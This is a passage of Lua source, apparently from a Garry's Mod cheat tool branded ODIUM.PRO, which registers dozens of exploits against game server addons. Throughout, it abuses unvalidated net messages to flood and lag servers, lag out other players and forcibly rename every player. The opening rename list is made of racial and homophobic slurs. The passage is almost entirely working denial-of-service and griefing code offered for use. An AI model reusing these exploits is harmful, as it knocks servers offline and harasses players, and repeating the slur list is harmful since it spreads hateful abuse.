5169 local Names = { "Nigger", "Faggot", "Kike", "Cuckmaster", "Skid", "GetODIUM.PRO", "ODIUM.PRO", "Shit", "Piss", "Permavirgin", "CitizenRat", "Feminist", "Fuckhead", "Cunt", "ODIUM.PRO", "CockWart", "DickTickle", "FuckAdmins", "Paidmin", "ShitServer" }
5170 LOKI.AddExploit( "Name Changer", {
5171 desc = "Destroy everybodys RPNames",
5172 severity = 50,
5173 bools = {enabled = false},
5174 status = 2,
5175 times_per_tick = 1,
5176 vars = {},
5177 scan = function() return LOKI.ValidNetString( "NC_GetNameChange" ) end,
5178 hooks = {
5179 Think = function(tbl, sploit)
5180 for k, v in ipairs( player.GetAll() ) do
5181 LOKI.NetStart( sploit, "NC_GetNameChange")
5182 net.WriteEntity(v)
5183 net.WriteString(table.Random(Names))
5184 net.WriteString(table.Random(Names))
5185 net.SendToServer()
5186 end
5187 end,
5188 },
5189 functions = {
5190 { typ = "bool", },
5191 },
5192 } )
5193 LOKI.AddExploit( "Lagsploit", {
5194 desc = "Lag the shit out of the server",
5195 severity = 100,
5196 bools = {enabled = false},
5197 status = 1,
5198 msgs_per_tick = 3,
5199 times_per_tick = 300,
5200 scan = function() return LOKI.ValidNetString( "ATS_WARP_REMOVE_CLIENT", "ATS_WARP_FROM_CLIENT", "ATS_WARP_VIEWOWNER" ) end,
5201 hooks = {
5202 Think = function(tbl, sploit)
5203 LOKI.NetStart( sploit, "ATS_WARP_REMOVE_CLIENT" )
5204 net.WriteEntity( LOKI.GetLP() )
5205 net.WriteString( "adminroom1" )
5206 net.SendToServer()
5207 LOKI.NetStart( sploit, "ATS_WARP_FROM_CLIENT" )
5208 net.WriteEntity( LOKI.GetLP() )
5209 net.WriteString( "adminroom1" )
5210 net.SendToServer()
5211 LOKI.NetStart( sploit, "ATS_WARP_VIEWOWNER" )
5212 net.WriteEntity( LOKI.GetLP() )
5213 net.WriteString( "adminroom1" )
5214 net.SendToServer()
5215 end,
5216 },
5217 functions = {
5218 { typ = "bool", },
5219 },
5220 } )
5221 LOKI.AddExploit( "Lagsploit", {
5222 desc = "Lag the shit out of the server",
5223 severity = 90,
5224 bools = {enabled = false},
5225 status = 3,
5226 msgs_per_tick = function() return player.GetCount * 3 end,
5227 times_per_tick = math.huge,
5228 scan = function() return LOKI.ValidNetString( "CFCreateGame", "CFJoinGame", "CFRemoveGame", "CFEndGame" ) end,
5229 hooks = {
5230 Think = function(tbl, sploit)
5231 for k,v in ipairs(player.GetAll()) do
5232 LOKI.NetStart( sploit, "CFRemoveGame" )
5233 net.WriteFloat( math.Round( "10000\n" ) )
5234 net.SendToServer()
5235 LOKI.NetStart( sploit, "CFJoinGame" )
5236 net.WriteFloat( math.Round( "10000\n" ) )
5237 net.SendToServer()
5238 LOKI.NetStart( sploit, "CFEndGame" )
5239 net.WriteFloat( "10000\n" )
5240 net.SendToServer()
5241 end
5242 end,
5243 },
5244 functions = {
5245 { typ = "bool", },
5246 },
5247 } )
5248 LOKI.AddExploit( "Lagsploit", {
5249 desc = "Moves the server onto an african ISP (Discovered by niku)",
5250 severity = 100,
5251 bools = {enabled = false},
5252 status = 1,
5253 times_per_tick = math.huge,
5254 scan = function() return LOKI.ValidNetString( "CreateCase" ) end,
5255 hooks = {
5256 Think = function(tbl, sploit)
5257 LOKI.NetStart( sploit, "CreateCase" )
5258 net.WriteString( "tapped by ODIUM.PRO" )
5259 net.SendToServer()
5260 end,
5261 },
5262 functions = {
5263 { typ = "bool", },
5264 },
5265 } )
5266 LOKI.AddExploit( "Lagsploit", {
5267 desc = "Gee I wonder what this does",
5268 severity = 90,
5269 bools = {enabled = false},
5270 status = 1,
5271 times_per_tick = math.huge,
5272 scan = function() return LOKI.ValidNetString( "rprotect_terminal_settings" ) end,
5273 hooks = {
5274 Think = function(tbl, sploit)
5275 LOKI.NetStart( sploit, "rprotect_terminal_settings" )
5276 net.SendToServer()
5277 end,
5278 },
5279 functions = {
5280 { typ = "bool", },
5281 },
5282 } )
5283 LOKI.AddExploit( "Lagsploit", {
5284 desc = "Causes more lag on servers already lagging",
5285 severity = 90,
5286 bools = {enabled = false},
5287 status = 1,
5288 times_per_tick = math.huge,
5289 scan = function() return LOKI.ValidNetString( "StackGhost" ) end,
5290 hooks = {
5291 Think = function(tbl, sploit)
5292 LOKI.NetStart( sploit, "StackGhost" )
5293 net.WriteInt(0xFFFFFFFF,32)
5294 net.SendToServer()
5295 end,
5296 },
5297 functions = {
5298 { typ = "bool", },
5299 },
5300 } )
5301 LOKI.AddExploit( "Lagsploit", {
5302 desc = "Instantly brings large servers to a crawl",
5303 severity = 100,
5304 bools = {enabled = false},
5305 status = 1,
5306 times_per_tick = math.huge,
5307 scan = function() return LOKI.ValidNetString( "tbfy_surrender" ) end,
5308 hooks = {
5309 Think = function(tbl, sploit)
5310 LOKI.NetStart( sploit, "tbfy_surrender")
5311 net.SendToServer()
5312 end,
5313 },
5314 functions = {
5315 { typ = "bool", },
5316 },
5317 } )
5318 LOKI.AddExploit( "Lagsploit", {
5319 desc = "Creates a lot of lag",
5320 severity = 95,
5321 bools = {enabled = true},
5322 status = 1,
5323 msgs_per_tick = LOKI.GetEnabledCount,
5324 times_per_tick = math.huge,
5325 scan = function() return LOKI.DynamicNetString( "RXCar" ) end,
5326 hooks = {
5327 Think = function(tbl, sploit)
5328 LOKI.MultiSend(sploit)
5329 end,
5330 },
5331 functions = {
5332 { typ = "bools", tbl = {"RXCar_BuyCar_C2S", "RXCAR_UpdateINVCar_C2S", "RXCAR_Shop_Store_C2S", "RXCAR_Shop_Sell_C2S", "RXCAR_RespawnINV_C2S", "RXCAR_SellINVCar_C2S", "RXCAR_Shop_Buy_C2S", "RXCAR_RequestTuneData_C2S"}}
5333 },
5334 } )
5335 LOKI.AddExploit( "Lagsploit", {
5336 desc = "Creates a lot of lag",
5337 severity = 90,
5338 bools = {enabled = false},
5339 status = 2,
5340 times_per_tick = math.huge,
5341 scan = function() return LOKI.ValidNetString( "NewReport" ) end,
5342 hooks = {
5343 Think = function(tbl, sploit)
5344 LOKI.NetStart( sploit, "NewReport" )
5345 net.SendToServer()
5346 end,
5347 },
5348 functions = {
5349 { typ = "bool", },
5350 },
5351 } )
5352 LOKI.AddExploit( "Client Lagger", {
5353 desc = "Causes ALL players to lag out",
5354 severity = 100,
5355 bools = {enabled = false},
5356 status = 1,
5357 msgs_per_tick = 2,
5358 times_per_tick = math.huge,
5359 scan = function() local num = LOKI.RecursiveGetVar(CF, {"FlipPriceMinimum"}, "number") return LOKI.ValidNetString( "CFCreateGame", "CFJoinGame", "CFRemoveGame", "CFEndGame" ) end, --&& isnumber(num) && num <= 0 end,
5360 hooks = {
5361 Think = function(tbl, sploit)
5362 LOKI.NetStart( sploit, "CFCreateGame" )
5363 net.WriteFloat( 0 )
5364 net.WriteFloat( 0 )
5365 net.SendToServer()
5366 end,
5367 net = {
5368 Receive = function(sploit, strName)
5369 if(strName == "CFAnnounce") then
5370 return false
5371 end
5372 end,
5373 },
5374 },
5375 functions = {
5376 { typ = "bool", },
5377 },
5378 } )
5379 LOKI.AddExploit( "Client Lagger", {
5380 desc = "Causes players to lag out",
5381 severity = 100,
5382 bools = {enabled = false},
5383 status = 1,
5384 msgs_per_tick = function(sploit) return #LOKI.GetStored( "clagger1_plyz", {} ) end,
5385 times_per_tick = math.huge,
5386 scan = function() return LOKI.ValidNetString( "PrtToPlayers" ) end,
5387 hooks = {
5388 Think = function(tbl, sploit)
5389 for k, v in ipairs(LOKI.GetStored( "clagger1_plyz", {} )) do
5390 if IsValid(v) then
5391 LOKI.NetStart( sploit, "PrtToPlayers" )
5392 net.WriteEntity(v)
5393 net.SendToServer()
5394 end
5395 end
5396 end,
5397 },
5398 functions = {
5399 { typ = "players", addr = "clagger1_plyz" },
5400 { typ = "bool", },
5401 },
5402 } )
5403 LOKI.AddExploit( "Client Lagger", {
5404 desc = "Mom get off the phone I'm trying to play Runescape!",
5405 severity = 100,
5406 bools = {enabled = false},
5407 status = 1,
5408 times_per_tick = math.huge,
5409 scan = function() return LOKI.ValidNetString("scoreboard.country") end,
5410 hooks = {
5411 Think = function(tbl, sploit)
5412 LOKI.NetStart(sploit, "scoreboard.country")
5413 net.WriteString(system.GetCountry())
5414 net.SendToServer()
5415 end,
5416 net = {
5417 Receive = function(sploit, strName)
5418 if(strName == "scoreboard.country") then
5419 return false
5420 end
5421 end,
5422 },
5423 },
5424 functions = {
5425 { typ = "bool", },
5426 },
5427 } )
5428 LOKI.AddExploit( "Client Lagger", {
5429 desc = "Dial-up internet bro!",
5430 severity = 100,
5431 bools = {enabled = false},
5432 status = 1,
5433 times_per_tick = math.huge,
5434 scan = function() return LOKI.ValidNetString("gMining.registerWeapon") end,
5435 hooks = {
5436 Think = function(tbl, sploit)
5437 LOKI.NetStart(sploit, "gMining.registerWeapon")
5438 net.WriteTable({})
5439 net.SendToServer()
5440 end,
5441 },
5442 functions = {
5443 { typ = "bool", },
5444 },
5445 } )
5446 LOKI.AddExploit( "Client Lagger", {
5447 desc = "Dab on the players",
5448 severity = 100,
5449 bools = {enabled = false},
5450 status = 2,
5451 times_per_tick = math.huge,
5452 scan = function() return LOKI.ValidNetString("JukeBox_PlayersTunedIn") end,
5453 hooks = {
5454 Think = function(tbl, sploit)
5455 LOKI.NetStart(sploit, "JukeBox_PlayersTunedIn")
5456 net.SendToServer()
5457 end,
5458 },
5459 functions = {
5460 { typ = "bool", },
5461 },
5462 } )
5463 LOKI.AddExploit( "Client Lagger", {
5464 desc = "Remind everyone what it feels like to game on a notebook",
5465 severity = 100,
5466 bools = {enabled = false},
5467 status = 1,
5468 times_per_tick = math.huge,
5469 scan = function() return LOKI.ValidNetString("pac_to_contraption") end,
5470 hooks = {
5471 Think = function(tbl, sploit)
5472 local tbl = LOKI.RecursiveGetVar(sploit, {"vars", "tbl"}, "table", true)
5473 if(!tbl || #tbl == 0) then
5474 for i=1,60 do
5475 tbl[#tbl + 1] = {id = i, mdl = "models/error.mdl", pos = Vector(0,0,0), ang = Angle(0,0,0), clr = Color(0,0,0), skn = 0}
5476 end
5477 end
5478 LOKI.NetStart( sploit, "pac_to_contraption" )
5479 net.WriteTable( tbl )
5480 net.SendToServer()
5481 end,
5482 },
5483 functions = {
5484 { typ = "bool", },
5485 },
5486 } )
5487 LOKI.AddExploit( "Lagsploit", {
5488 desc = "Causes lag and bombs the server console",
5489 severity = 95,
5490 bools = {enabled = false},
5491 status = 1,
5492 times_per_tick = math.huge,
5493 scan = function() return LOKI.ValidNetString( "steamid2" ) end,
5494 hooks = {
5495 Think = function(tbl, sploit)
5496 LOKI.NetStart( sploit, "steamid2" )
5497 net.WriteString( "ODIUM.PRO > ALL" )
5498 net.SendToServer()
5499 end,
5500 },
5501 functions = {
5502 { typ = "bool", },
5503 },
5504 } )
5505 LOKI.AddExploit( "Lagsploit", {
5506 desc = "Use the servers CPU to cook an omelette",
5507 severity = 90,
5508 bools = {enabled = false},
5509 status = 1,
5510 times_per_tick = math.huge,
5511 scan = function() return LOKI.ValidNetString( "drpgps" ) end,
5512 hooks = {
5513 Think = function(tbl, sploit)
5514 LOKI.NetStart( sploit, "drpgps" )
5515 net.SendToServer()
5516 end,
5517 usermessage = {
5518 IncomingMessage = function(sploit, varargs)
5519 if(varargs[1] == "_Notify") then
5520 return false
5521 end
5522 end,
5523 },
5524 },
5525 functions = {
5526 { typ = "bool", },
5527 },
5528 } )
5529 LOKI.AddExploit( "Lagsploit", {
5530 desc = "Poison the server",
5531 severity = 95,
5532 bools = {enabled = false},
5533 status = 1,
5534 times_per_tick = math.huge,
5535 scan = function() return LOKI.ValidNetString( "start_alch" ) end,
5536 hooks = {
5537 Think = function(tbl, sploit)
5538 LOKI.NetStart( sploit, "start_alch")
5539 net.SendToServer()
5540 end,
5541 },
5542 functions = {
5543 { typ = "bool", },
5544 },
5545 } )
5546 LOKI.AddExploit( "Lagsploit", {
5547 desc = "OMG DDOS!?!?",
5548 severity = 95,
5549 bools = {enabled = true},
5550 status = 1,
5551 msgs_per_tick = LOKI.GetEnabledCount,
5552 times_per_tick = math.huge,
5553 scan = function() return LOKI.DynamicNetString( "netKeycard" ) || LOKI.DynamicNetString( "netFKeycard" ) end,
5554 hooks = {
5555 Think = function(tbl, sploit)
5556 LOKI.MultiSend(sploit, function()
5557 net.WriteEntity(LOKI.GetLP())
5558 end)
5559 end,
5560 },
5561 functions = {
5562 { typ = "bools", tbl = {"netFKeycardAdminSpawn", "netFKeycardSpawn", "netFKeycardHackSpawn", "netFKeycardSAddLevel", "netFKeycardSRemoveLevel", "netKeycardSAddPlayer", "netKeycardSRemovePlayer", "netKeycardSpawn", "netKeycardHackSpawn", "netKeycardAdminSpawn"}}
5563 },
5564 } )
5565 LOKI.AddExploit( "Lagsploit", {
5566 desc = "Few second lag spikes at best but could probably cripple some smaller servers",
5567 severity = 90,
5568 bools = {enabled = false},
5569 status = 1,
5570 times_per_tick = math.huge,
5571 scan = function() return LOKI.ValidNetString( "ctOS-Box-Hacked" ) end,
5572 hooks = {
5573 Think = function(tbl, sploit)
5574 LOKI.NetStart( sploit, "ctOS-Box-Hacked")
5575 net.WriteEntity(LOKI.GetLP())
5576 net.SendToServer()
5577 end,
5578 },
5579 functions = {
5580 { typ = "bool", },
5581 },
5582 } )
5583 LOKI.AddExploit( "Lagsploit", {
5584 desc = "Meant to cause excessive lag but ends up just overflowing local host, needs work",
5585 severity = 50,
5586 bools = {enabled = false},
5587 status = 1,
5588 times_per_tick = math.huge,
5589 vars = {},
5590 scan = function() return LOKI.ValidNetString( "ViewClaims" ) end,
5591 hooks = {
5592 Think = function(tbl, sploit)
5593 LOKI.NetStart( sploit, "ViewClaims")
5594 net.SendToServer()
5595 end,
5596 net = {
5597 Receive = function(sploit, strName)
5598 if(strName == "ViewClaims") then
5599 return false
5600 end
5601 end,
5602 },
5603 },
5604 functions = {
5605 { typ = "bool", },
5606 },
5607 } )
5608 /*local pModel = 0;
5609 LOKI.AddExploit( "Lagsploit", {
5610 desc = "Causes lag as well as either T-Posing you or breaking your anims",
5611 severity = 90,
5612 bools = {enabled = false},
5613 status = 1,
5614 times_per_tick = math.huge,
5615 scan = function() return (LOKI.ValidNetString( "bodyman_model_change" ) && LOKI.GetLP().getJobTable != nil) end,
5616 hooks = {
5617 Think = function(tbl, sploit)
5618 local job = LOKI.GetLP():getJobTable()
5619 local playermodels = job.model
5620 if pModel < #playermodels then
5621 pModel = pModel + 1
5622 LOKI.NetStart( sploit, "bodyman_model_change")
5623 net.WriteInt( pModel, 8 )
5624 net.SendToServer()
5625 else
5626 pModel = 0
5627 end
5628 end,
5629 },
5630 functions = {
5631 { typ = "bool", },
5632 },
5633 } )*/
5634 LOKI.AddExploit( "Lagsploit", {
5635 desc = "Drag the server to it's knees",
5636 severity = 100,
5637 bools = {enabled = false},
5638 status = 1,
5639 times_per_tick = math.huge,
5640 scan = function() return LOKI.ValidNetString( "DW_GUNLAB_UPDATEORB" ) end,
5641 hooks = {
5642 Think = function(tbl, sploit)
5643 LOKI.NetStart( sploit, "DW_GUNLAB_UPDATEORB")
5644 for i = 1, 4 do
5645 net.WriteInt(i,4)
5646 end
5647 net.WriteInt(LOKI.GetLP():EntIndex(), 32)
5648 net.SendToServer()
5649 end,
5650 },
5651 functions = {
5652 { typ = "bool", },
5653 },
5654 } )
5655 LOKI.AddExploit( "Lagsploit", {
5656 desc = "Relatively strong exploit, can cause 5-10 second spikes",
5657 severity = 90,
5658 bools = {enabled = false},
5659 status = 1,
5660 times_per_tick = math.huge,
5661 scan = function() return LOKI.ValidNetString( "DW_PLAYSONG" ) end,
5662 hooks = {
5663 Think = function(tbl, sploit)
5664 LOKI.NetStart( sploit, "DW_PLAYSONG")
5665 net.SendToServer()
5666 end,
5667 },
5668 functions = {
5669 { typ = "bool", },
5670 },
5671 } )
5672 LOKI.AddExploit( "Lagsploit", {
5673 desc = "Imagine playing on a server in China while torrenting",
5674 severity = 90,
5675 bools = {enabled = false},
5676 status = 1,
5677 times_per_tick = math.huge,
5678 scan = function() return LOKI.ValidNetString( "selfportrait_idonthavehands" ) end,
5679 hooks = {
5680 Think = function(tbl, sploit)
5681 LOKI.NetStart( sploit, "selfportrait_idonthavehands")
5682 net.SendToServer()
5683 end,
5684 },
5685 functions = {
5686 { typ = "bool", },
5687 },
5688 } )
5689 LOKI.AddExploit( "Lagsploit", {
5690 desc = "Causes some pretty hectic spikes",
5691 severity = 90,
5692 bools = {enabled = false},
5693 status = 1,
5694 times_per_tick = math.huge,
5695 scan = function() return LOKI.ValidNetString( "dw_toggle_item" ) end,
5696 hooks = {
5697 Think = function(tbl, sploit)
5698 LOKI.NetStart( sploit, "dw_toggle_item")
5699 net.SendToServer()
5700 end,
5701 },
5702 functions = {
5703 { typ = "bool", },
5704 },
5705 } )
5706 LOKI.AddExploit( "Lagsploit", {
5707 desc = "Few seconds of lag at a time, just enough to be annoying",
5708 severity = 90,
5709 bools = {enabled = false},
5710 status = 1,
5711 times_per_tick = math.huge,
5712 scan = function() return LOKI.ValidNetString( "tupacBail.bailPlayer" ) end,
5713 hooks = {
5714 Think = function(tbl, sploit)
5715 LOKI.NetStart( sploit, 'tupacBail.bailPlayer' )
5716 net.SendToServer()
5717 end,
5718 },
5719 functions = {
5720 { typ = "bool", },
5721 },
5722 } )
5723 LOKI.AddExploit( "Lagsploit", {
5724 desc = "Fill the servers vulnerable little holes",
5725 severity = 95,
5726 bools = {enabled = false},
5727 status = 1,
5728 times_per_tick = math.huge,
5729 scan = function() return (ulx && ulx.friends && LOKI.ValidNetString( "sendtable" )) end,
5730 hooks = {
5731 Think = function(tbl, sploit)
5732 LOKI.NetStart( sploit, "sendtable" )
5733 net.SendToServer()
5734 end,
5735 },
5736 functions = {
5737 { typ = "bool", },
5738 },
5739 } )
5740 LOKI.AddExploit( "Lagsploit", {
5741 desc = "Brutalize the poor unsuspecting server",
5742 severity = 100,
5743 bools = {enabled = false},
5744 status = 1,
5745 times_per_tick = math.huge,
5746 scan = function() return LOKI.ValidNetString( "vloot_pickup_request" ) end,
5747 hooks = {
5748 Think = function(tbl, sploit)
5749 LOKI.NetStart( sploit, "vloot_pickup_request" )
5750 net.SendToServer()
5751 end,
5752 },
5753 functions = {
5754 { typ = "bool", },
5755 },
5756 } )
5757 LOKI.AddExploit( "Lagsploit", {
5758 desc = "Remember kids, always trust the client",
5759 severity = 90,
5760 bools = {enabled = false},
5761 status = 1,
5762 times_per_tick = math.huge,
5763 scan = function() return LOKI.ValidNetString( "disguise" ) end,
5764 hooks = {
5765 Think = function(tbl, sploit)
5766 LOKI.NetStart( sploit, "disguise" )
5767 net.WriteInt(0xFFFFFFFF, 32)
5768 net.SendToServer()
5769 end,
5770 },
5771 functions = {
5772 { typ = "bool", },
5773 },
5774 } )
5775 LOKI.AddExploit( "Lagsploit", {
5776 desc = "Brew a 0xFFFFFFFF potion",
5777 severity = 95,
5778 bools = {enabled = false},
5779 status = 1,
5780 times_per_tick = math.huge,
5781 scan = function() return LOKI.ValidNetString( "NET_AM_MakePotion" ) end,
5782 hooks = {
5783 Think = function(tbl, sploit)
5784 LOKI.NetStart( sploit, "NET_AM_MakePotion" )
5785 net.SendToServer()
5786 end,
5787 },
5788 functions = {
5789 { typ = "bool", },
5790 },
5791 } )
5792 LOKI.AddExploit( "Lagsploit", {
5793 desc = "Pew pew",
5794 severity = 90,
5795 bools = {enabled = false},
5796 status = 2,
5797 times_per_tick = math.huge,
5798 scan = function() return LOKI.ValidNetString( "orgcheckname" ) end,
5799 hooks = {
5800 Think = function(tbl, sploit)
5801 LOKI.NetStart( sploit, "orgcheckname" )
5802 net.WriteString("ODIUM.PRO")
5803 net.SendToServer()
5804 end,
5805 },
5806 functions = {
5807 { typ = "bool", },
5808 },
5809 } )
5810 LOKI.AddExploit( "Lagsploit", {
5811 desc = "Old but should still work",
5812 severity = 90,
5813 bools = {enabled = false},
5814 status = -1,
5815 times_per_tick = math.huge,
5816 scan = function() return LOKI.ValidNetString( "dLogsGetCommand" ) end,
5817 hooks = {
5818 Think = function(tbl, sploit)
5819 LOKI.NetStart( sploit, "dLogsGetCommand" )
5820 net.WriteTable({cmd="+forward", args="ODIUM.PRO"})
5821 net.SendToServer()
5822 end,
5823 },
5824 functions = {
5825 { typ = "bool", },
5826 },
5827 } )
5828 LOKI.AddExploit( "Lagsploit", {
5829 desc = "Same shit, different smell",
5830 severity = 95,
5831 bools = {enabled = true},
5832 status = 1,
5833 msgs_per_tick = LOKI.GetEnabledCount,
5834 times_per_tick = math.huge,
5835 scan = function() return LOKI.DynamicNetString( "ItemStore" ) end,
5836 hooks = {
5837 Think = function(tbl, sploit)
5838 LOKI.MultiSend(sploit, function()
5839 net.WriteEntity(LOKI.GetLP())
5840 end)
5841 end,
5842 },
5843 functions = {
5844 { typ = "bools", tbl = {"ItemStoreSyncItem", "ItemStoreMerge", "ItemStoreUse", "ItemStoreSplit", "ItemStoreSyncItem2"}}
5845 },
5846 } )
5847 LOKI.AddExploit( "Lagsploit", {
5848 desc = "This addon has quite a few exploits",
5849 severity = 90,
5850 bools = {enabled = false},
5851 status = 1,
5852 times_per_tick = math.huge,
5853 scan = function() return LOKI.ValidNetString( "ats_send_toServer" ) end,
5854 hooks = {
5855 Think = function(tbl, sploit)
5856 LOKI.NetStart( sploit, "ats_send_toServer")
5857 net.WriteTable({ " " , "Open" , nil , nil , nil , nil })
5858 net.SendToServer()
5859 end,
5860 },
5861 functions = {
5862 { typ = "bool", },
5863 },
5864 } )
5865 LOKI.AddExploit( "Lagsploit", {
5866 desc = "I swear these devs couldn't code to save their lives",
5867 severity = function() return math.Clamp(player.GetCount(), 1, 100) end,
5868 bools = {enabled = false},
5869 status = 1,
5870 times_per_tick = math.huge,
5871 scan = function() return LOKI.ValidNetString( "TFA_Attachment_RequestAll" ) end,
5872 hooks = {
5873 Think = function(tbl, sploit)
5874 LOKI.NetStart( sploit, "TFA_Attachment_RequestAll")
5875 net.SendToServer()
5876 end,
5877 },
5878 functions = {
5879 { typ = "bool", },
5880 },
5881 } )
5882 LOKI.AddExploit( "Lagsploit", {
5883 desc = "Console: cries internally",
5884 severity = 90,
5885 bools = {enabled = false},
5886 status = 1,
5887 times_per_tick = math.huge,
5888 scan = function() return LOKI.ValidNetString( "NDES_SelectedEmblem" ) end,
5889 hooks = {
5890 Think = function(tbl, sploit)
5891 LOKI.NetStart( sploit, "NDES_SelectedEmblem")
5892 net.WriteString("ODIUM.PRO")
5893 net.SendToServer()
5894 end,
5895 },
5896 functions = {
5897 { typ = "bool", },
5898 },
5899 } )
5900 LOKI.AddExploit( "Lagsploit", {
5901 desc = "ODIUM.PRO isn't a valid organisation",
5902 severity = 90,
5903 bools = {enabled = false},
5904 status = -1,
5905 times_per_tick = math.huge,
5906 scan = function() return LOKI.ValidNetString( "JoinOrg" ) end,
5907 hooks = {
5908 Think = function(tbl, sploit)
5909 LOKI.NetStart( sploit, "JoinOrg")
5910 net.WriteEntity(LOKI.GetLP())
5911 net.WriteString("ODIUM.PRO")
5912 net.SendToServer()
5913 end,
5914 },
5915 functions = {
5916 { typ = "bool", },
5917 },
5918 } )
5919 LOKI.AddExploit( "Lagsploit", {
5920 desc = "Something is creating very strong script errors",
5921 severity = 90,
5922 bools = {enabled = false},
5923 status = 1,
5924 times_per_tick = math.huge,
5925 scan = function() return LOKI.ValidNetString( "steamid50" ) end,
5926 hooks = {
5927 Think = function(tbl, sploit)
5928 LOKI.NetStart( sploit, "steamid50")
5929 net.WriteString("Something is creating very strong script errors")
5930 net.SendToServer()
5931 end,
5932 },
5933 functions = {
5934 { typ = "bool", },
5935 },
5936 } )
5937 LOKI.AddExploit( "Lagsploit", {
5938 desc = "This function is very inefficient for large tables and should probably not be called in things that run each frame",
5939 severity = 90,
5940 bools = {enabled = false},
5941 status = 1,
5942 times_per_tick = math.huge,
5943 scan = function() return LOKI.ValidNetString( "BM2.Command.SellBitcoins" ) end,
5944 hooks = {
5945 Think = function(tbl, sploit)
5946 LOKI.NetStart( sploit, "BM2.Command.SellBitcoins")
5947 net.WriteEntity(LOKI.GetLP())
5948 net.SendToServer()
5949 end,
5950 },
5951 functions = {
5952 { typ = "bool", },
5953 },
5954 } )
5955 LOKI.AddExploit( "Lagsploit", {
5956 desc = "Another of the same",
5957 severity = 95,
5958 bools = {enabled = false},
5959 status = 1,
5960 times_per_tick = math.huge,
5961 scan = function() return LOKI.ValidNetString( "metrostroi-specbutton-press" ) end,
5962 hooks = {
5963 Think = function(tbl, sploit)
5964 LOKI.NetStart( sploit, "metrostroi-specbutton-press")
5965 net.SendToServer()
5966 end,
5967 },
5968 functions = {
5969 { typ = "bool", },
5970 },
5971 } )
5972 /*LOKI.AddExploit( "Lagsploit", {
5973 desc = "Causes decent lag but requires being near a wire keypad",
5974 severity = 95,
5975 bools = {enabled = false},
5976 status = 1,
5977 msgs_per_tick = function(sploit)
5978 local tbl = LOKI.RecursiveGetVar(sploit, {"vars", "Think", "ents"}, "table", true)
5979 LOKI.SetTableContents(tbl, LOKI.GetVarTable(ents.FindInSphere(LOKI.GetLP():GetShootPos(), 50), "GetClass", LOKI.TYPEVARS.EQUALTO, "gmod_wire_keypad"))
5980 return #tbl
5981 end,
5982 times_per_tick = math.huge,
5983 scan = function() return LOKI.ValidNetString( "wire_keypad" ) end,
5984 hooks = {
5985 Think = function(tbl, sploit)
5986 for k, v in ipairs(LOKI.RecursiveGetVar(sploit, {"vars", "Think", "ents"}, "table", true)) do
5987 LOKI.NetStart( sploit, "wire_keypad")
5988 net.WriteEntity(v)
5989 net.WriteUInt(10, 4)
5990 net.SendToServer()
5991 end
5992 end,
5993 },
5994 functions = {
5995 { typ = "bool", },
5996 },
5997 } )*/ --Doesn't work but good example of function usage
5998 LOKI.AddExploit( "Lagsploit", {
5999 desc = "Hack the mainframe",
6000 severity = 95,
6001 bools = {enabled = false},
6002 status = 1,
6003 times_per_tick = math.huge,
6004 scan = function() return LOKI.ValidNetString("friendlist") end,
6005 hooks = {
6006 Think = function(tbl, sploit)
6007 LOKI.NetStart( sploit, "friendlist" )
6008 net.SendToServer()
6009 end,
6010 },
6011 functions = {
6012 { typ = "bool", },
6013 },
6014 } )
6015 LOKI.AddExploit( "Lagsploit", {
6016 desc = "Yes, I am many people",
6017 severity = 90,
6018 bools = {enabled = false},
6019 status = 3,
6020 msgs_per_tick = function(sploit) return #LOKI.GetStored( "jdc_plyz", {} ) end,
6021 times_per_tick = math.huge,
6022 scan = function() return LOKI.ValidNetString("join_disconnect") end,
6023 hooks = {
6024 Think = function(tbl, sploit)
6025 for k, v in ipairs(LOKI.GetStored( "jdc_plyz", {} )) do
6026 if IsValid(v) then
6027 LOKI.NetStart( sploit, "join_disconnect" )
6028 net.WriteEntity(v)
6029 net.SendToServer()
6030 end
6031 end
6032 end,
6033 },
6034 functions = {
6035 { typ = "players", addr = "jdc_plyz" },
6036 { typ = "bool", },
6037 },
6038 } )
6039 LOKI.AddExploit( "Lagsploit", {
6040 desc = "Win every HvH",
6041 severity = 95,
6042 bools = {enabled = false},
6043 status = 1,
6044 times_per_tick = math.huge,
6045 scan = function() return LOKI.ValidNetString( "hvh_setloadout" ) end,
6046 hooks = {
6047 Think = function(tbl, sploit)
6048 LOKI.NetStart( sploit, "hvh_setloadout")
6049 net.SendToServer()
6050 end,
6051 },
6052 functions = {
6053 { typ = "bool", },
6054 },
6055 } )
6056 LOKI.AddExploit( "Lagsploit", {
6057 desc = "Slay the Titan",
6058 severity = 95,
6059 bools = {enabled = false},
6060 status = 2,
6061 times_per_tick = math.huge,
6062 scan = function() return LOKI.ValidNetString( "Cl_PrometheusRequest" ) end,
6063 hooks = {
6064 Think = function(tbl, sploit)
6065 LOKI.NetStart( sploit, "Cl_PrometheusRequest")
6066 net.SendToServer()
6067 end,
6068 },
6069 functions = {
6070 { typ = "bool", },
6071 },
6072 } )
6073 LOKI.AddExploit( "Lagsploit", {
6074 desc = "This guy really needs to stop selling his scripts",
6075 severity = 95,
6076 bools = {enabled = true},
6077 status = 1,
6078 msgs_per_tick = LOKI.GetEnabledCount,
6079 times_per_tick = math.huge,
6080 scan = function() return LOKI.DynamicNetString( "CRAFTINGMOD" ) || LOKI.DynamicNetString( "FARMINGMOD" ) || LOKI.DynamicNetString( "FISHINGMOD" ) || LOKI.DynamicNetString( "bicyclemod" ) end,
6081 hooks = {
6082 Think = function(tbl, sploit)
6083 LOKI.MultiSend(sploit, {
6084 ["bicyclemod_sell_bicycle"] = function()
6085 net.WriteEntity(LOKI.GetLP())
6086 end,
6087 ["bicyclemod_store_bicycle"] = function()
6088 net.WriteEntity(LOKI.GetLP())
6089 end,
6090 ["bicyclemod_create_bicycle"] = function()
6091 net.WriteTable({})
6092 net.WriteEntity(LOKI.GetLP())
6093 end,
6094 })
6095 end,
6096 },
6097 functions = {
6098 {
6099 typ = "bools",
6100 tbl = {"CRAFTINGMOD_INVENTORY", "CRAFTINGMOD_SHOP", "CRAFTINGMOD_STORAGE", "CRAFTINGMOD_TRADING", "CRAFTINGMOD_MOVE", "CRAFTINGMOD_LEVELS", "CRAFTINGMOD_ADMIN", "CRAFTINGMOD_COMMANDS", "FARMINGMOD_ADMIN", "FARMINGMOD_HARVEST", "FARMINGMOD_ADDITEM", "FARMINGMOD_HARVEST", "FARMINGMOD_USE", "FARMINGMOD_DROPITEM", "FARMINGMOD_SELLITEM", "FARMINGMOD_PLANTOPTION", "FARMINGMOD_BUYITEM", "bicyclemod_create_bicycle", "bicyclemod_sell_bicycle", "bicyclemod_store_bicycle", "FISHINGMOD_ADMIN", "FISHINGMOD_BAIT", "FISHINGMOD_INVENTORY"}
6101 }
6102 },
